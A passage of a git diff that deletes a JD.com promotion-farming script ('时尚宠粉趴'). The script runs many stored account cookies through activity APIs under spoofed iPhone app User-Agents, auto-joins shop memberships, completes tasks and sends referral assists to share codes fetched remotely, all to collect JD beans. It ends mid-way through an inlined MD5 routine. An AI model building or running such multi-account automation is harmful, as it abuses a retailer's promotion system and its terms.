=== e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz2_fashion1.js b/backUp/jd_lzdz2_fashion1.js deleted file mode 100644 index f5da30e..0000000 --- a/backUp/jd_lzdz2_fashion1.js +++ /dev/null @@ -1,539 +0,0 @@ -/* -时尚宠粉趴 -https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b -**/ - -const $ = new Env("时尚宠粉趴"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -let RUSH = false; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - if (process.env.RUSH && process.env.RUSH != "") { - RUSH = process.env.RUSH; - } -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_fashion.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'b3b3f59c9015493a9d8e2f1d5d9b92ea', - ] - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - console.log('更新ck'); - continue - } - // authorCodeList = [ - // 'b3b3f59c9015493a9d8e2f1d5d9b92ea', - // ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = '1ad06f0cb93e4928a894e3b984c2fa4b' - $.activityShopId = '59809' - $.activityUrl = `https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - if (RUSH) { - await rush(); - await $.wait(1000) - console.log("重复执行一次,技术有限不知道为什么") - await rush(); - } else { - console.log("默认不开卡:请设置环境变量 RUSH = true") - } - - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - $.openStatusNum = 0 - await getFirstLZCK() - await getToken(); - await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力: "+$.authorCode) - await $.wait(1000) - await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(1000) - await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - for(let i in $.openInfo){ - console.log($.openInfo[i]) - if(!$.openInfo[i]['openStatus']){ - console.log("加入会员: "+$.openInfo[i]['venderId']) - await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) - await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) - await $.wait(1000) - } - } - console.log("关注店铺: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) - await $.wait(1000) - console.log("流览会场: ") - await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) - } - await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityShopId = data.data.shopId; - $.activityType = data.data.activityType; - break; - case 'wxActionCommon/getUserInfo': - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'fashion/recruit/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log("你的助力码 -> "+ownCode) - } - $.activityContent = data.data; - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case 'fashion/recruit/saveFirst': - if(data.result){ - console.log("获得抽奖次数") - } - break; - case 'fashion/recruit/saveTask': - console.log(data) - break; - case 'fashion/recruit/getInitInfo': - console.log(data) - break; - case 'fashion/recruit/initOpenCard': - $.openInfo = data.data.openInfo - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz2-isv.isvjcloud.com/${function_id}` : `https://lzdz2-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz2-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz2-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz2-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz2-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz2-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.venderId}&token=${$.token}&fromType=APP` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for 